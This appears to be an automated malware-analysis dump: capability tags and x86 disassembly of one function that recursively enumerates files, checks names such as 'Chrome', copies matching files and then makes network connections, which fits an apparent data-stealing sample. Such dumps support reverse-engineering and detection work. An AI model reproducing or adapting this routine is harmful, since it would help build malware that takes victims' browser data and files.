Function at 0x44252b
Capabilities:
Contain obfuscated stackstrings
Copy file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push 0x2f4
mov eax, 0x46da08
call fcn.0046bb7a
and dword [ebp - 0x2b8], 0
push ecx
xor ebx, ebx
lea eax, [ebp + 8]
inc ebx
lea ecx, [ebp - 0xec]
push eax
mov dword [ebp - 4], ebx
call fcn.0044c02b
mov byte [ebp - 4], 2
lea ecx, [ebp - 0xec]
mov dword [ebp - 0x2ac], ebx
mov dword [ebp - 0x2b8], ebx
call fcn.0043e4dc
push 3
pop esi
test al, al
je 0x4425aa
push ecx
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0x74]
call fcn.0044c02b
mov dword [ebp - 4], esi
lea ecx, [ebp - 0x74]
mov ebx, esi
mov dword [ebp - 0x2ac], ebx
mov dword [ebp - 0x2b8], ebx
call fcn.0043e528
mov byte [ebp - 0x2a5], 0
test al, al
jne 0x4425b1
mov byte [ebp - 0x2a5], 1
test bl, 2
je 0x4425c7
and ebx, 0xfffffffd
lea ecx, [ebp - 0x74]
mov dword [ebp - 0x2ac], ebx
call fcn.0044b6d9
xor eax, eax
inc eax
mov dword [ebp - 4], eax
test al, bl
je 0x4425e5
and ebx, 0xfffffffe
lea ecx, [ebp - 0xec]
mov dword [ebp - 0x2ac], ebx
call fcn.0044b6d9
cmp byte [ebp - 0x2a5], 0
jne 0x443c2d
xor ebx, ebx
push 0xf
pop esi
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], esi
mov byte [ebp - 0x2c], bl
push 0x208
mov byte [ebp - 4], 4
call fcn.00455bac
mov edi, eax
pop ecx
test edi, edi
je 0x443c25
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
push eax
push str._s
push edi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x2a4]
push eax
push edi
call dword [sym.imp.kerNeL32.dLL_FindFirstFileA]
mov dword [ebp - 0x2c4], eax
cmp eax, 0xffffffff
je 0x443c25
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp - 0x278]
push ecx
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
push eax
push str._s_s
push edi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
test byte [ebp - 0x2a4], 0x10
je 0x44269f
lea edx, [ebp - 0x278]
mov esi, 0x47ee54
mov ecx, ebx
movzx eax, byte [edx + ecx]
cmp al, byte [esi + ecx]
jne 0x4429e4
inc ecx
cmp ecx, 3
jne 0x44268c
test byte [ebp - 0x2a4], 0xa7
je 0x443c0a
mov eax, dword [0x486fd0]
lea ecx, [ebp - 0x74]
mov esi, dword [eax]
lea eax, [ebp - 0x278]
push eax
mov dword [ebp - 0x74], ebx
mov dword [ebp - 0x64], ebx
mov dword [ebp - 0x60], 0xf
call fcn.0044b945
push esi
lea ecx, [ebp - 0x74]
call fcn.0044cae0
lea ecx, [ebp - 0x74]
mov bl, al
call fcn.0044b89e
lea ecx, [ebp - 0x44]
test bl, bl
je 0x442a37
call fcn.0043fc9d
push 0xf
mov byte [ebp - 4], 6
lea ecx, [ebp - 0xa4]
xor ebx, ebx
pop esi
mov dword [ebp - 0xa4], ebx
push edi
mov dword [ebp - 0x94], ebx
mov dword [ebp - 0x90], esi
mov byte [ebp - 0xa4], bl
call fcn.0044b945
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x8c]
mov dword [ebp - 0x8c], ebx
push edi
mov dword [ebp - 0x7c], ebx
mov dword [ebp - 0x78], esi
mov byte [ebp - 0x8c], bl
call fcn.0044b945
mov byte [ebp - 4], 8
lea ecx, [ebp - 0xa4]
mov eax, dword [ebp + 0x30]
push dword [ebp - 0x7c]
inc eax
push eax
lea eax, [ebp - 0x5c]
push eax
call fcn.0044b2f0
lea ecx, [ebp - 0x2c]
cmp ecx, eax
je 0x442775
mov byte [ebp - 0x2bc], bl
push dword [ebp - 0x2bc]
push eax
call fcn.0044ba6a
lea ecx, [ebp - 0x5c]
call fcn.0044b89e
lea ecx, [ebp - 0x8c]
call fcn.0044b89e
lea ecx, [ebp - 0xa4]
mov byte [ebp - 4], 6
call fcn.0044b89e
push ecx
mov esi, 0x47eda0
lea ecx, [ebp - 0x2c]
push esi
call fcn.0044b37c
push eax
push ebx
lea eax, [ebp - 0xd4]
push eax
lea ecx, [ebp - 0x2c]
call fcn.0044b2f0
push 0xffffffffffffffff
push ecx
push esi
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 9
call fcn.0044b37c
inc eax
lea ecx, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x5c]
push eax
call fcn.0044b2f0
lea ecx, [ebp - 0x2c]
cmp ecx, eax
je 0x4427ee
mov byte [ebp - 0x2c0], bl
push dword [ebp - 0x2c0]
push eax
call fcn.0044ba6a
lea ecx, [ebp - 0x5c]
call fcn.0044b89e
push ecx
push esi
lea ecx, [ebp - 0x2c]
call fcn.0044b37c
push eax
push ebx
lea eax, [ebp - 0x5c]
push eax
lea ecx, [ebp - 0x2c]
call fcn.0044b2f0
lea ecx, [ebp - 0x2c]
cmp ecx, eax
je 0x442827
mov byte [ebp - 0x2fc], bl
push dword [ebp - 0x2fc]
push eax
call fcn.0044ba6a
lea ecx, [ebp - 0x5c]
call fcn.0044b89e
sub esp, 0x18
lea eax, [ebp - 0x2c]
mov ecx, esp
mov dword [ebp - 0x2b0], esp
push eax
mov dword [ecx], ebx
mov dword [ecx + 0x10], ebx
mov dword [ecx + 0x14], ebx
call fcn.0044ba08
push esi
lea edx, [ebp + 0x20]
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x5c]
call fcn.0044bd40
pop ecx
lea ecx, [ebp - 0xd4]
mov byte [ebp - 4], 0xb
push ecx
mov ecx, eax
call fcn.0044b462
push eax
lea ecx, [ebp - 0xec]
call fcn.0044b4e8
mov ebx, dword [ebp - 0x2ac]
or ebx, 0x80
push esi
lea ecx, [ebp - 0xec]
mov byte [ebp - 4], 0xc
call fcn.0044b441
push eax
lea ecx, [ebp - 0x74]
call fcn.0044b4e8
or ebx, 0x100
sub esp, 0x18
mov byte [ebp - 4], 0xd
mov esi, esp
lea eax, [ebp - 0x2c]
lea ecx, [ebp - 0x74]
mov dword [ebp - 0x2b8], esi
push eax
call fcn.0044b462
push eax
mov ecx, esi
call fcn.0044b4e8
or ebx, 0x200
mov dword [ebp - 0x2ac], ebx
lea ecx, [ebp - 0x104]
mov byte [ebp - 4], 0x10
call fcn.00440734
add esp, 0x30
lea ecx, [ebp - 0x74]
call fcn.0044b89e
lea ecx, [ebp - 0xec]
call fcn.0044b89e
lea ecx, [ebp - 0x5c]
mov byte [ebp - 4], 0x14
call fcn.0044b89e
cmp dword [ebp - 0x30], 0x10
lea eax, [ebp - 0x44]
cmovae eax, dword [ebp - 0x44]
xor ebx, ebx
push ebx
push eax
push edi
call dword [sym.imp.kerNeL32.dLL_CopyFileA]
test eax, eax
je 0x4429b6
sub esp, 0x18
lea eax, [ebp - 0x44]
mov ecx, esp
mov dword [ebp - 0x2b0], esp
push eax
mov dword [ecx], ebx
mov dword [ecx + 0x10], ebx
mov dword [ecx + 0x14], ebx
call fcn.0044ba08
sub esp, 0x18
mov byte [ebp - 4], 0x15
mov ecx, esp
mov dword [ebp - 0x2b8], esp
lea eax, [ebp - 0x2c]
push eax
mov dword [ecx], ebx
mov dword [ecx + 0x10], ebx
mov dword [ecx + 0x14], ebx
call fcn.0044ba08
sub esp, 0x18
mov byte [ebp - 4], 0x16
mov ecx, esp
lea eax, [ebp - 0x104]
push eax
mov dword [ecx], ebx
mov dword [ecx + 0x10], ebx
mov dword [ecx + 0x14], ebx
call fcn.0044ba08
xor eax, eax
mov byte [ebp - 4], 0x14
lea ecx, [eax + 1]
call fcn.00440b7e
add esp, 0x44
lea eax, [ebp - 0x44]
lea ecx, [ebp - 0x8c]
push eax
call fcn.0044c02b
lea ecx, [ebp - 0x8c]
mov byte [ebp - 4], 0x17
call fcn.0043e570
lea ecx, [ebp - 0x8c]
call fcn.0044b6d9
cmp dword [ebp - 0x18], 0x10
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x1c], ebx
lea ecx, [ebp - 0x104]
cmovae eax, dword [ebp - 0x2c]
mov byte [eax], bl
call fcn.0044b89e
lea ecx, [ebp - 0xd4]
call fcn.0044b89e
lea ecx, [ebp - 0x44]
jmp 0x443331
lea ecx, [ebp - 0x278]
cmp byte [ecx], 0x2e
jne 0x4429fb
movzx eax, byte [ecx + 1]
test al, al
je 0x44269f
sub esp, 0x18
lea eax, [ebp + 0x20]
mov ecx, esp
mov dword [ebp - 0x2b8], esp
push eax
mov dword [ecx], ebx
mov dword [ecx + 0x10], ebx
mov dword [ecx + 0x14], ebx
call fcn.0044ba08
sub esp, 0x18
mov byte [ebp - 4], 5
mov ecx, esp
push edi
call fcn.0044b51b
mov byte [ebp - 4], 4
call fcn.0044252b
add esp, 0x30
jmp 0x443c0a
mov eax, dword [0x486fd0]
mov esi, dword [eax + 4]
xor eax, eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x34], eax
mov byte [ebp - 0x44], al
lea eax, [ebp - 0x278]
push eax
mov dword [ebp - 0x30], 0xf
call fcn.0044b945
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x44]
mov ebx, dword [ebp - 0x2ac]
or ebx, 4
push esi
mov dword [ebp - 0x2b8], ebx
call fcn.0044cae0
test al, al
jne 0x442abb
mov eax, dword [0x486fd0]
lea ecx, [ebp - 0x74]
mov esi, dword [eax + 8]
lea eax, [ebp - 0x278]
and dword [ebp - 0x74], 0
and dword [ebp - 0x64], 0
push eax
mov dword [ebp - 0x60], 0xf
call fcn.0044b945
push esi
lea ecx, [ebp - 0x74]
or ebx, 8
call fcn.0044cae0
test al, al
jne 0x442abb
mov byte [ebp - 0x2a5], al
jmp 0x442ac4
xor eax, eax
inc eax
mov byte [ebp - 0x2a5], al
test bl, 8
je 0x442ad4
lea ecx, [ebp - 0x74]
and ebx, 0xfffffff7
call fcn.0044b89e
push 4
pop eax
mov dword [ebp - 4], eax
test al, bl
je 0x442ae9
lea ecx, [ebp - 0x44]
and ebx, 0xfffffffb
call fcn.0044b89e
cmp byte [ebp - 0x2a5], 0
je 0x442df2
lea ecx, [ebp - 0xa4]
call fcn.0043fc9d
push 0xf
xor eax, eax
mov byte [ebp - 4], 0x19
pop esi
mov dword [ebp - 0x8c], eax
lea ecx, [ebp - 0x8c]
push edi
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0x78], esi
mov byte [ebp - 0x8c], al
call fcn.0044b945
xor eax, eax
mov byte [ebp - 4], 0x1a
mov dword [ebp - 0x44], eax
lea ecx, [ebp - 0x44]
push edi
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], esi
mov byte [ebp - 0x44], al
call fcn.0044b945
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x8c]
mov eax, dword [ebp + 0x30]
push dword [ebp - 0x34]
inc eax
push eax
lea eax, [ebp - 0xd4]
push eax
call fcn.0044b2f0
lea ecx, [ebp - 0x2c]
cmp ecx, eax
je 0x442b7b
mov byte [ebp - 0x2f8], 0
push dword [ebp - 0x2f8]
push eax
call fcn.0044ba6a
lea ecx, [ebp - 0xd4]
call fcn.0044b89e
lea ecx, [ebp - 0x44]
call fcn.0044b89e
lea ecx, [ebp - 0x8c]
mov byte [ebp - 4], 0x19
call fcn.0044b89e
push ecx
mov esi, 0x47eda0
lea ecx, [ebp - 0x2c]
push esi
call fcn.0044b37c
push eax
push 0
lea eax, [ebp - 0x5c]
push eax
lea ecx, [ebp - 0x2c]
call fcn.0044b2f0
push 0xffffffffffffffff
push ecx
push esi
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0x1c
call fcn.0044b37c
inc eax
lea ecx, [ebp - 0x2c]
push eax
lea eax, [ebp - 0xd4]
push eax
call fcn.0044b2f0
lea ecx, [ebp - 0x2c]
cmp ecx, eax
je 0x442bf6
mov byte [ebp - 0x2f4], 0
push dword [ebp - 0x2f4]
push eax
call fcn.0044ba6a
lea ecx, [ebp - 0xd4]
call fcn.0044b89e
push ecx
push esi
lea ecx, [ebp - 0x2c]
call fcn.0044b37c
push eax
push 0
lea eax, [ebp - 0xd4]
push eax
lea ecx, [ebp - 0x2c]
call fcn.0044b2f0
lea ecx, [ebp - 0x2c]
cmp ecx, eax
je 0x442c37
mov byte [ebp - 0x2f0], 0
push dword [ebp - 0x2f0]
push eax
call fcn.0044ba6a
lea ecx, [ebp - 0xd4]
call fcn.0044b89e
sub esp, 0x18
xor eax, eax
mov ecx, esp
mov dword [ebp - 0x2b4], esp
mov dword [ecx], eax
mov dword [ecx + 0x10], eax
mov dword [ecx + 0x14], eax
lea eax, [ebp - 0x2c]
push eax
call fcn.0044ba08
push esi
lea edx, [ebp + 0x20]
mov byte [ebp - 4], 0x1d
lea ecx, [ebp - 0x44]
call fcn.0044bd40
pop ecx
lea ecx, [ebp - 0x5c]
mov byte [ebp - 4], 0x1e
push ecx
mov ecx, eax
call fcn.0044b462
push eax
lea ecx, [ebp - 0x104]
call fcn.0044b4e8
or ebx, 0x400
push esi
lea ecx, [ebp - 0x104]
mov byte [ebp - 4], 0x1f
call fcn.0044b441
push eax
lea ecx, [ebp - 0xd4]
call fcn.0044b4e8
or ebx, 0x800
sub esp, 0x18
mov byte [ebp - 4], 0x20
mov esi, esp
lea eax, [ebp - 0x2c]
lea ecx, [ebp - 0xd4]
mov dword [ebp - 0x2b0], esi
push eax
call fcn.0044b462
push eax
mov ecx, esi
call fcn.0044b4e8
or ebx, 0x1000
mov dword [ebp - 0x2ac], ebx
lea ecx, [ebp - 0xec]
mov byte [ebp - 4], 0x23
call fcn.00440734
add esp, 0x30
lea ecx, [ebp - 0xd4]
call fcn.0044b89e
lea ecx, [ebp - 0x104]
call fcn.0044b89e
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 0x27
call fcn.0044b89e
cmp dword [ebp - 0x90], 0x10
lea eax, [ebp - 0xa4]
cmovae eax, dword [ebp - 0xa4]
xor ebx, ebx
push ebx
push eax
push edi
call dword [sym.imp.kerNeL32.dLL_CopyFileA]
test eax, eax
je 0x442dcf
sub esp, 0x18
lea eax, [ebp - 0xa4]
mov ecx, esp
mov dword [ebp - 0x2b4], esp
push eax
mov dword [ecx], ebx
mov dword [ecx + 0x10], ebx
mov dword [ecx + 0x14], ebx
call fcn.0044ba08
sub esp, 0x18
mov byte [ebp - 4], 0x28
mov ecx, esp
mov dword [ebp - 0x2b0], esp
lea eax, [ebp - 0x2c]
push eax
mov dword [ecx], ebx
mov dword [ecx + 0x10], ebx
mov dword [ecx + 0x14], ebx
call fcn.0044ba08
sub esp, 0x18
mov byte [ebp - 4], 0x29
mov ecx, esp
lea eax, [ebp - 0xec]
push eax
mov dword [ecx], ebx
mov dword [ecx + 0x10], ebx
mov dword [ecx + 0x14], ebx
call fcn.0044ba08
push 2
pop ecx
mov byte [ebp - 4], 0x27
call fcn.00440b7e
add esp, 0x44
lea eax, [ebp - 0xa4]
lea ecx, [ebp - 0x74]
push eax
call fcn.0044c02b
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 0x2a
call fcn.0043e570
lea ecx, [ebp - 0x74]
call fcn.0044b6d9
cmp dword [ebp - 0x18], 0x10
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x1c], ebx
lea ecx, [ebp - 0xec]
cmovae eax, dword [ebp - 0x2c]
mov byte [eax], bl
call fcn.0044b89e
lea ecx, [ebp - 0x5c]
jmp 0x443326
mov eax, dword [0x486fd0]
lea ecx, [ebp - 0x44]
mov esi, dword [eax + 0xc]
xor eax, eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x34], eax
mov byte [ebp - 0x44], al
lea eax, [ebp - 0x278]
push eax
mov dword [ebp - 0x30], 0xf
call fcn.0044b945
mov byte [ebp - 4], 0x2b
lea ecx, [ebp - 0x44]
or ebx, 0x10
push esi
mov dword [ebp - 0x2ac], ebx
mov dword [ebp - 0x2b8], ebx
call fcn.0044cae0
test al, al
jne 0x442e7f
mov eax, dword [0x486fd0]
lea ecx, [ebp - 0x74]
mov esi, dword [eax + 0x10]
lea eax, [ebp - 0x278]
and dword [ebp - 0x74], 0
and dword [ebp - 0x64], 0
push eax
mov dword [ebp - 0x60], 0xf
call fcn.0044b945
or ebx, 0x20
lea ecx, [ebp - 0x74]
push esi
mov dword [ebp - 0x2ac], ebx
call fcn.0044cae0
test al, al
jne 0x442e7f
mov byte [ebp - 0x2a5], al
jmp 0x442e88
xor eax, eax
inc eax
mov byte [ebp - 0x2a5], al
test bl, 0x20
je 0x442e9e
and ebx, 0xffffffdf
lea ecx, [ebp - 0x74]
mov dword [ebp - 0x2ac], ebx
call fcn.0044b89e
mov dword [ebp - 4], 4
test bl, 0x10
je 0x442ebb
and ebx, 0xffffffef
lea ecx, [ebp - 0x44]
mov dword [ebp - 0x2ac], ebx
call fcn.0044b89e
cmp byte [ebp - 0x2a5], 0
je 0x44333f
mov al, byte [0x486f8e]
movzx ecx, al
test al, al
push 1
pop eax
cmove ecx, eax
mov byte [0x486f8e], cl
lea ecx, [ebp - 0xa4]
call fcn.0043fc9d
push 0xf
xor eax, eax
mov byte [ebp - 4], 0x2c
pop esi
mov dword [ebp - 0x8c], eax
lea ecx, [ebp - 0x8c]
push edi
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0x78], esi
mov byte [ebp - 0x8c], al
call fcn.0044b945
xor eax, eax
mov byte [ebp - 4], 0x2d
mov dword [ebp - 0x44], eax
lea ecx, [ebp - 0x44]
push edi
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], esi
mov byte [ebp - 0x44], al
call fcn.0044b945
mov byte [ebp - 4], 0x2e
lea ecx, [ebp - 0x8c]
mov eax, dword [ebp + 0x30]
push dword [ebp - 0x34]
inc eax
push eax
lea eax, [ebp - 0x5c]
push eax
call fcn.0044b2f0
lea ecx, [ebp - 0x2c]
cmp ecx, eax
je 0x442f60
mov byte [ebp - 0x2ec], 0
push dword [ebp - 0x2ec]
push eax
call fcn.0044ba6a
lea ecx, [ebp - 0x5c]
call fcn.0044b89e
lea ecx, [ebp - 0x44]
call fcn.0044b89e
lea ecx, [ebp - 0x8c]
mov byte [ebp - 4], 0x2c
call fcn.0044b89e
push ecx
push 0x47eda0
lea ecx, [ebp - 0x2c]
call fcn.0044b37c
push eax
push 0
lea eax, [ebp - 0x74]
push eax
lea ecx, [ebp - 0x2c]
call fcn.0044b2f0
push 0xffffffffffffffff
push ecx
push 0x47eda0
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0x2f
call fcn.0044b37c
inc eax
lea ecx, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x5c]
push eax
call fcn.0044b2f0
lea ecx, [ebp - 0x2c]
cmp ecx, eax
je 0x442fd8
mov byte [ebp - 0x2e8], 0
push dword [ebp - 0x2e8]
push eax
call fcn.0044ba6a
lea ecx, [ebp - 0x5c]
call fcn.0044b89e
push ecx
push 0x47eda0
lea ecx, [ebp - 0x2c]
call fcn.0044b37c
push eax
push 0
lea eax, [ebp - 0x5c]
push eax
lea ecx, [ebp - 0x2c]
call fcn.0044b2f0
lea ecx, [ebp - 0x2c]
cmp ecx, eax
je 0x443017
mov byte [ebp - 0x2e4], 0
push dword [ebp - 0x2e4]
push eax
call fcn.0044ba6a
lea ecx, [ebp - 0x5c]
call fcn.0044b89e
xor eax, eax
mov dword [ebp - 0x150], esi
mov dword [ebp - 0x164], eax
lea ecx, [ebp - 0x164]
push 0x47a7c4
mov dword [ebp - 0x154], eax
mov byte [ebp - 0x164], al
call fcn.0044b945
push str.Chrome
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0x30
call fcn.0044cae0
sub esp, 0x18
mov dword [ebp - 0x2b4], esp
mov ecx, esp
test al, al
je 0x44313a
xor eax, eax
mov dword [ecx], eax
mov dword [ecx + 0x10], eax
mov dword [ecx + 0x14], eax
lea eax, [ebp - 0x2c]
push eax
call fcn.0044ba08
mov esi, 0x47eda0
mov byte [ebp - 4], 0x31
push esi
lea edx, [ebp + 0x20]
lea ecx, [ebp - 0xec]
call fcn.0044bd40
pop ecx
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 0x32
push ecx
mov ecx, eax
call fcn.0044b462
push eax
lea ecx, [ebp - 0xd4]
call fcn.0044b4e8
or ebx, 0x2000
push esi
lea ecx, [ebp - 0xd4]
mov byte [ebp - 4], 0x33
call fcn.0044b441
push eax
lea ecx, [ebp - 0x5c]
call fcn.0044b4e8
or ebx, 0x4000
sub esp, 0x18
mov byte [ebp - 4], 0x34
mov esi, esp
lea eax, [ebp - 0x2c]
lea ecx, [ebp - 0x5c]
mov dword [ebp - 0x2b0], esi
push eax
call fcn.0044b462
push eax
mov ecx, esi
call fcn.0044b4e8
or ebx, 0x8000
mov dword [ebp - 0x2ac], ebx
lea ecx, [ebp - 0x104]
mov byte [ebp - 4], 0x37
call fcn.004401d2
lea ecx, [ebp - 0x164]
add esp, 0x30
cmp ecx, eax
je 0x44320a
mov byte [ebp - 0x2e0], 0
push dword [ebp - 0x2e0]
jmp 0x4431fe
xor eax, eax
mov dword [ecx], eax
mov dword [ecx + 0x10], eax
mov dword [ecx + 0x14], eax
lea eax, [ebp - 0x2c]
push eax
call fcn.0044ba08
mov esi, 0x47eda0
mov byte [ebp - 4], 0x38
push esi
lea edx, [ebp + 0x20]
lea ecx, [ebp - 0xec]
call fcn.0044bd40
pop ecx
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 0x39
push ecx
mov ecx, eax
call fcn.0044b462
push eax
lea ecx, [ebp - 0xd4]
call fcn.0044b4e8
or ebx, 0x10000
push esi
lea ecx, [ebp - 0xd4]
mov byte [ebp - 4], 0x3a
call fcn.0044b441
push eax
lea ecx, [ebp - 0x5c]
call fcn.0044b4e8
or ebx, 0x20000
sub esp, 0x18
mov byte [ebp - 4], 0x3b
mov esi, esp
lea eax, [ebp - 0x2c]
lea ecx, [ebp - 0x5c]
mov dword [ebp - 0x2b0], esi
push eax
call fcn.0044b462
push eax
mov ecx, esi
call fcn.0044b4e8
or ebx, 0x40000
mov dword [ebp - 0x2ac], ebx
lea ecx, [ebp - 0x104]
mov byte [ebp - 4], 0x3e
call fcn.00440734
lea ecx, [ebp - 0x164]
add esp, 0x30
cmp ecx, eax
je 0x44320a
mov byte [ebp - 0x2dc], 0
push dword [ebp - 0x2dc]
push eax
lea ecx, [ebp - 0x164]
call fcn.0044ba6a
lea ecx, [ebp - 0x104]
call fcn.0044b89e
lea ecx, [ebp - 0x5c]
call fcn.0044b89e
lea ecx, [ebp - 0xd4]
call fcn.0044b89e
lea ecx, [ebp - 0xec]
mov byte [ebp - 4], 0x30
call fcn.0044b89e
push 0x47a7c4
lea ecx, [ebp - 0x164]
call fcn.0044cae0
test al, al
jne 0x443306
cmp dword [ebp - 0x90], 0x10
lea eax, [ebp - 0xa4]
cmovae eax, dword [ebp - 0xa4]
xor ebx, ebx
push ebx
push eax
push edi
call dword [sym.imp.kerNeL32.dLL_CopyFileA]
test eax, eax
je 0x443308
sub esp, 0x18
lea eax, [ebp - 0xa4]
mov ecx, esp
mov dword [ebp - 0x2b4], esp
push eax
mov dword [ecx], ebx
mov dword [ecx + 0x10], ebx
mov dword [ecx + 0x14], ebx
call fcn.0044ba08
sub esp, 0x18
mov byte [ebp - 4], 0x3f
mov ecx, esp
mov dword [ebp - 0x2b0], esp
lea eax, [ebp - 0x2c]
push eax
mov dword [ecx], ebx
mov dword [ecx + 0x10], ebx
mov dword [ecx + 0x14], ebx
call fcn.0044ba08
sub esp, 0x18
mov byte [ebp - 4], 0x40
mov ecx, esp
lea eax, [ebp - 0x164]
push eax
mov dword [ecx], ebx
mov dword [ecx + 0x10], ebx
mov dword [ecx + 0x14], ebx
call fcn.0044ba08
push 3
pop ecx
mov byte [ebp - 4], 0x30
call fcn.00440b7e
add esp, 0x44
lea eax, [ebp - 0xa4]
lea ecx, [ebp - 0x5c]
push eax
call fcn.0044c02b
lea ecx, [ebp - 0x5c]
mov byte [ebp - 4], 0x41
call fcn.0043e570
lea ecx, [ebp - 0x5c]
call fcn.0044b6d9
jmp 0x443308
xor ebx, ebx
cmp dword [ebp - 0x18], 0x10
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x1c], ebx
lea ecx, [ebp - 0x164]
cmovae eax, dword [ebp - 0x2c]
mov byte [eax], bl
call fcn.0044b89e
lea ecx, [ebp - 0x74]
call fcn.0044b89e
lea ecx, [ebp - 0xa4]
mov byte [ebp - 4], 4
call fcn.0044b89e
jmp 0x443c0a
mov eax, dword [0x486fd0]
lea ecx, [ebp - 0x74]
mov esi, dword [eax + 0x14]
lea eax, [ebp - 0x278]
and dword [ebp - 0x74], 0
and dword [ebp - 0x64], 0
push eax
mov dword [ebp - 0x60], 0xf
call fcn.0044b945
push esi
lea ecx, [ebp - 0x74]
call fcn.0044cae0
lea ecx, [ebp - 0x74]
mov bl, al
call fcn.0044b89e
test bl, bl
je 0x443c08
push 0xf
xor ebx, ebx
lea ecx, [ebp - 0x8c]
pop esi
mov dword [ebp - 0x8c], ebx
push edi
mov dword [ebp - 0x7c], ebx
mov dword [ebp - 0x78], esi
mov byte [ebp - 0x8c], bl
call fcn.0044b945
mov byte [ebp - 4], 0x42
lea ecx, [ebp - 0x44]
mov dword [ebp - 0x44], ebx
push edi
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x30], esi
mov byte [ebp - 0x44], bl
call fcn.0044b945
mov byte [ebp - 4], 0x43
lea ecx, [ebp - 0x8c]
mov eax, dword [ebp + 0x30]
push dword [ebp - 0x34]
inc eax
push eax
lea eax, [ebp - 0x5c]
push eax
call fcn.0044b2f0
lea ecx, [ebp - 0x2c]
cmp ecx, eax
je 0x4433f0
mov byte [ebp - 0x2d8], bl
push dword [ebp - 0x2d8]
push eax
call fcn.0044ba6a
lea ecx, [ebp - 0x5c]
call fcn.0044b89e
lea ecx, [ebp - 0x44]
call fcn.0044b89e
lea ecx, [ebp - 0x8c]
mov byte [ebp - 4], 4
call fcn.0044b89e
push ecx
push 0x47eda0
lea ecx, [ebp - 0x2c]
call fcn.0044b37c
push eax
push ebx
lea eax, [ebp - 0x5c]
push eax
lea ecx, [ebp - 0x2c]
call fcn.0044b2f0
lea ecx, [ebp - 0x2c]
cmp ecx, eax
je 0x443444
mov byte [ebp - 0x2d4], bl
push dword [ebp - 0x2d4]
push eax
call fcn.0044ba6a
lea ecx, [ebp - 0x5c]
call fcn.0044b89e
mov dword [ebp - 0xa4], ebx
mov dword [ebp - 0x94], ebx
mov dword [ebp - 0x90], esi
mov byte [ebp - 0xa4], bl
mov byte [ebp - 4], 0x44
sub esp, 0x18
mov eax, dword [0x486fd0]
mov ecx, esp
mov dword [ebp - 0x2b4], esp
push dword [eax + 0x90]
call fcn.0044b51b
mov byte [ebp - 4], 0x45
lea eax, [ebp - 0x2c]
mov edx, dword [0x486fd0]
sub esp, 0x18
mov ecx, esp
mov edx, dword [edx + 0x8c]
push eax
call fcn.0044bcbd
pop ecx
lea edx, [ebp - 0xa4]
mov byte [ebp - 4], 0x44
mov ecx, connect
call fcn.0043f6a1
add esp, 0x30
lea ecx, [ebp - 0xa4]
push 0x47a7c4
call fcn.0044cae0
test al, al
je 0x44351e
mov eax, dword [0x486fd0]
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x2b4], esp
push dword [eax + 0x90]
call fcn.0044b51b
mov byte [ebp - 4], 0x46
lea eax, [ebp - 0x2c]
mov edx, dword [0x486fd0]
sub esp, 0x18
mov ecx, esp
mov edx, dword [edx + 0x94]
push eax
call fcn.0044bcbd
pop ecx
lea edx, [ebp - 0xa4]
mov byte [ebp - 4], 0x44
mov ecx, connect
call fcn.0043f6a1
add esp, 0x30
push 0x47a7c4
lea ecx, [ebp - 0xa4]
call fcn.0044cae0
test al, al
jne 0x443bd7
mov eax, dword [0x486fd0]
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x2b4], esp
push dword [eax + 0x98]
call fcn.0044b51b
sub esp, 0x18
mov byte [ebp - 4], 0x47
mov ecx, esp
lea eax, [ebp - 0xa4]
push eax
mov dword [ecx], ebx
mov dword [ecx + 0x10], ebx
mov dword [ecx + 0x14], ebx
call fcn.0044ba08
mov edx, connect
mov byte [ebp - 4], 0x44
lea ecx, [ebp - 0x8c]
call fcn.0043f5e1
add esp, 0x30
push 5
pop edx
xor ecx, ecx
mov byte [ebp - 4], 0x48
call fcn.0043f54f
cmp eax, 0xc8
je 0x44362a
push 0x47a7c4
lea ecx, [ebp - 0x8c]
call fcn.0044cae0
test al, al
jne 0x44362a
push ecx
lea eax, [ebp - 0x8c]
push eax
lea ecx, [ebp - 0x5c]
call fcn.0044c02b
mov byte [ebp - 4], 0x49
lea ecx, [ebp - 0x5c]
mov ebx, dword [ebp - 0x2ac]
or ebx, 0x40
mov dword [ebp - 0x2ac], ebx
mov dword [ebp - 0x2b8], ebx
call fcn.0043e4dc
test al, al
je 0x443630
push 2
pop edx
xor ecx, ecx
call fcn.0043f54f
cmp eax, 0x1f4
je 0x443630
sub esp, 0x18
xor eax, eax
mov ecx, esp
mov dword [ecx], eax
mov dword [ecx + 0x10], eax
mov dword [ecx + 0x14], eax
lea eax, [ebp - 0x8c]
push eax
call fcn.0044ba08
call fcn.0043fd7b
add esp, 0x18
test al, al
je 0x443630
xor eax, eax
inc eax
mov byte [ebp - 0x2a5], al
jmp 0x443637
mov ebx, dword [ebp - 0x2ac]
